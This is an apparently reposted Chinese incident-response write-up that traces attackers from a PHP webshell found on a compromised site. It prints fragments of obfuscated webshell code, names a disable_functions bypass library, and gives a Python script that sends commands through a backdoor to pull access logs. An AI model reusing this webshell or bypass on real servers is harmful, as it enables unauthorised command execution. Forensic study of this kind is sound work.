记一次从后门开展的应急响应溯源_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

记一次从后门开展的应急响应溯源

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


记一次从后门开展的应急响应溯源

0x01 背景 一般安全厂商都会有针对web后门的扫描工具,此次拿到了一批网站被植入后门的攻击线索,由于疫情原因,现场排查取证条件比较苛刻,所以此次溯源是在开局一个后门情况下开展,大致思路是连接后门->查看日志->漏洞溯源。 0x02 后门排查 存在后门的URL : http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php create_function(NULL,fun2())));@extract(array(c=>$b()));?>hello 进去之后想要通过antasword执行命令,发现ret=127,于是查看phpinfo,发现存在disable_functions diable_functions : exec,passthru,popen,proc_open,shell_exec,system,assert 禁用了这些命令执行的先关函数,绕过应该还是好绕的,不过在同目录下已经发现了前人留下的bypass_disablefunc_x.so,省去了绕过时间,直接复用即可 到这儿基本已经相当于可以远程执行命令,达到现场排查、取证溯源的目的。 通过cat access.log来获取访问日志,这里通过撰写脚本只获取了2020年4月1日至2020年12月31日的日志,方便我们进行精准溯源。 #coding:utf-8import requests for month in range(4,13): for days in range(1,31): date = '%02d' % month + '%02d' % days url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so' res = requests.get(url=url) fp = open(date+'.txt','w') fp.write(res.content) fp.close() 0x03 攻击者溯源 根据上图可以看到wwConapp.php的日期为2020-11-06 09:34:19,那么比较简单粗暴的方法就是直接在20201106的访问日志里查看谁访问了这个url,初步断定攻击者 比较诡异的是这个wwConapp.php没有人访问过,在具体翻看1106文件时发现了端倪 115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 -115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161 这里时间点对上了,大约在9点34分,有相同目录下的文件访问,但是该文件为Conapp.php,猜测是后来的入侵者将Conapp.php改为了wwConapp.php,这里不再深究。至此已经获取到了第一个攻击者的ip,115.238.195.188,那么顺着这个人的访问日志,就能解开攻击入口,事实并不如此。 #cat 1106.txt| grep 115.238.195.188 | awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8115.238.195.188 - - [06/Nov/2020:09:23:04 +0800] "POST /search/2.php HTTP/1.1" 200 809115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "GET /xiseceshi.html HTTP/1.1" 200 16115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "GET /xiseceshi.htm HTTP/1.1" 200 16115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7 在查看该ip的访问记录时,其中并没有发现任何异常的攻击日志,从一开始访问就是/search/2.php开头,那么再到search目录下去翻阅,也发现已经没有了2.php,但是有1.php,落地时间为2020-11-26 12:53分 ''),array(''),'ass'.'ert')); 后门线索比较多,后续有考虑写一个基于图谱的响应溯源追踪系统,大致理念就是将所有日志打进图数据库里,通过图查询语句和检测规则(正则/ai)来搜寻访问后门的所有可疑ip和攻击行为,最终像人工一样思考,形成攻击路径图,方便人工进行判断。 上述如有不当之处,敬请指正。 文章来源:先知社区(羊羊) 原文地址:https://xz.aliyun.com/t/11103 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

记一次从后门开展的应急响应溯源